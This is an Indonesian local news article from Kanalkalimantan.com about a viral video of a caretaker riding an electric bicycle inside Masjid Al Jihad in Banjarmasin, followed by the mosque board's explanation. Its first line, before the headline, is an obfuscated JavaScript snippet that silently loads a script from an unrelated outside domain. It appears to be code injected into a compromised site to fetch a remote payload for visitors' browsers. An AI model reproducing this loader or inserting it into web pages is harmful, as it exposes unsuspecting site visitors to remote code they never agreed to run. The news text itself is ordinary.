(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Geger Sepeda Listrik Dalam Masjid Al Jihad Banjarmasin, Begini Penjelasan Takmir Masjid


KANALKALIMANTAN.COM, BANJARMASIN – Media sosial dihebohkan dengan beredarnya potongan video seseorang yang mengendarai sepeda listrik di dalam Masjid Al Jihad Kota Banjarmasin.

Dalam video yang diunggah akun Instagram undercover.id, nampak seorang laki-laki dengan santai mengendarai sepeda listrik di dalam salah satu masjid Muhamadiyah terbesar di Banjarmasin itu.

Video itu menjadi viral dan mendapat komentar beragam dari netizen. Ada yang mengecam namun banyak juga yang berprasangka baik.

Baca juga: Hari Air Sedunia di Banjarmasin, Anggota MPAF Pungut Sampah di Sungai dan Larutkan Eco Enzyme

Terkait potongan video viral tersebut, membuat pengurus Masjid Al Jihad Banjarmasin harus angkat suara memberikan klarifikasi.

Ketua Takmir Masjid Al Jihad Banjarmasin, H Taufik menjelaskan bahwa orang yang mengendarai sepeda listrik tersebut adalah marbot masjid yang sedang mengangkut barang.

Pemanfaatan sepeda listrik di dalam Masjid Al Jihad menurutnya cukup beralasan yaitu digunakan untuk keperluan mengangkut barang seperti air mineral yang jumlahnya banyak.

Mengingat kata Taufik, setiap malamnya selama Ramadan di Masjid Al Jihad banyak menampung tidak kurang dari 2.000 jemaah, sehingga memerlukan air mineral yang banyak.

Baca juga: Tim Gabungan DKUMPP dan Polres Banjar Datangi Sejumlah SPBU

“Itu digunakan untuk mengakut barang air mineral. Karena selama bulan puasa Masjid Al Jihad menyediakan tidak kurang 100 dus, dan dibagi ke tempat-tempat tertentu,” katanya, Kamis (21/3/2024) siang.

Lanjut H Taufik, sepeda listrik tersebut bukan dimiliki perorangan, melainkan pemberian dari jemaah yang menjadi aset masjid dan baru difungsikan saat bulan Ramadan ini.

Namun penggunaan sepeda listrik di dalam Masjid Al Jihad dinarasikan salah, akhirnya persepsi netizen beragam karena diunggah sepotong tanpa penjelasan lengkap dalam tayangan tersebut. Warganet ada yang tidak memahaminya, bahkan disalah artikan sebagai penistaan tempat ibadah karena ketidak lengkapan penjelasan dalam unggahan video.

Kemudian sepeda listrik tersebut menurutnya juga belum pernah dioperasikan di jalan raya dan dibersihkan secara berkala, sehingga tidak akan mengotori karpet atau kesucian masjid.

Baca juga: Sule Ingin Kaya Jalur Instan

Namun, karena keburu viral maka pihak masjid saat ini kata Taufik, menyetop dulu pengguna sepeda listrik untuk pengangkutan air mineral di dalam masjid.

“Untuk menghindari pandangan lain, kami setop dulu penggunaannya, kedepannya kami gunakan troli dan tenaga,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

43 menit ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

1 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

4 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

5 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

7 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

8 jam ago

This website uses cookies.